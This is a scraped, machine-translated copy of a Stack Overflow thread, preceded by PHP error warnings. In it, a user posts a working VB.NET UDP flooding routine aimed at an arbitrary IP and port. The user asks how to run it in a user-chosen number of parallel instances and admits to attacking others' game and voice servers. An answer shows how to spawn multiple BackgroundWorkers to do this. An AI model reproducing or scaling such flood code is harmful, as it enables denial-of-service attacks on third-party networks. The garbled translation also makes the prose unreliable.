Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/vb.net/15.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/6/multithreading/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
VB.NET-一次运行一个子系统多次_Vb.net_Multithreading - Fatal编程技术网

VB.NET-一次运行一个子系统多次

VB.NET-一次运行一个子系统多次,vb.net,multithreading,Vb.net,Multithreading,我有一个私人潜艇在循环中运行。我希望潜艇一次运行多次。例如,当程序运行时,按start;您再次运行程序,然后按start,再按一次又一次。。。同一个程序同时执行该任务。现在我只想让一个程序单独完成。但我希望它是用户定义的。exp.运行程序。在文本框10中键入。按开始。这就好像他们中有10个人在做同一件事 我看过另一个用vb.NET2010制作的程序,它是我用的,我不知道怎么做。所以我只是想知道 Private Sub Flood1(ByVal sender As Object, ByVal e

我有一个私人潜艇在循环中运行。我希望潜艇一次运行多次。例如,当程序运行时,按start;您再次运行程序,然后按start,再按一次又一次。。。同一个程序同时执行该任务。现在我只想让一个程序单独完成。但我希望它是用户定义的。exp.运行程序。在文本框10中键入。按开始。这就好像他们中有10个人在做同一件事

我看过另一个用vb.NET2010制作的程序,它是我用的,我不知道怎么做。所以我只是想知道

Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
    Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
    Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
    Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
    Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
    Do While Flooding = True
        For i = 0 To SocketN
            If Flooding = True Then
                Dim _Sock(i) As Socket
                _Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                Try
                    _Sock(i).SendTo(PacketS, IPPort)
                    Threading.Thread.Sleep(500)
                Catch ex As Exception
                    Threading.Thread.Sleep(500)
                End Try
            Else
                Exit Do
            End If
        Next
    Loop
End Sub

大多数人都想让这项工作一次又一次地由用户选择。。。有点希望不要使用此代码,否则可能得不到帮助。

您可以使用后台工作程序。 一旦你知道有多少工人你想做这项工作 只需创建那些背景工作者的实例。 告诉我这是否是你想要的答案

示例源代码

Imports System.ComponentModel

Module Module1

    Sub Main()
        Console.WriteLine("Please enter the worker count:")
        Dim workerCount As Integer = Console.ReadLine()
        For i As Int16 = 0 To workerCount
            Dim worker As BackgroundWorker = New BackgroundWorker
            worker.RunWorkerAsync(i + 1)
            AddHandler worker.DoWork, AddressOf Worker_DoWork
        Next
    End Sub

    Private Sub Worker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
        Console.WriteLine(e.Argument.ToString())
    End Sub
End Module

嗨,SirAudens,欢迎来到Stack Overflow!我不确定我是否真的理解你的问题——你的“私人助理”在做什么类型的工作,你有什么问题?您是否询问如何创建多线程应用程序(同一个子系统在不同的内核/处理器上并行执行多次)?或者你只是想让计算机调用sub 10次,这样它就可以一个接一个地执行,而不需要你点击?如果您能提供一个简短的代码示例,说明您所尝试的内容,这将有助于…尝试学习如何使用名为Flood()的方法发布代码。你真的在尝试泛滥IP地址吗?有点希望不要使用此代码,否则学习Perpose和im可能得不到帮助,我是一个游戏家族的一员,如果我们为了好玩而一直在彼此的网络和服务器上随机测试东西的话(美国书呆子在我们休息日用新东西互相攻击,以建立服务器防御。令人惊讶的是,在tf2战斗中,有多少ppl精确攻击ts3服务器bcuz)我想开始成为那些书呆子中的一员,所以我试着学习一些基本的东西。我只想知道这个,因为我想知道。我可以运行它20次并使用它。但使用它不是我所能做的。我只想做一个完整的。遗憾的是,不。我想知道谁使用过这个程序,可以选择他们想要的数量ding关于他们如何使用它您给出的示例,它本身已经在使用后台工作程序。您可以看到它处理工作程序的DoWork事件。是的。我知道它使用后台工作程序…但我想运行更多的后台工作程序,但不是一个设置的数字。一个用户定义的数字。像b4一样,他们运行它。他们在文本框中键入15,它的行为就像它的运行一样ning 15 background workers如果运行循环并在其中创建这些实例,您可以运行任意多个Worker实例。噢,idk,怎么做。请解释一下?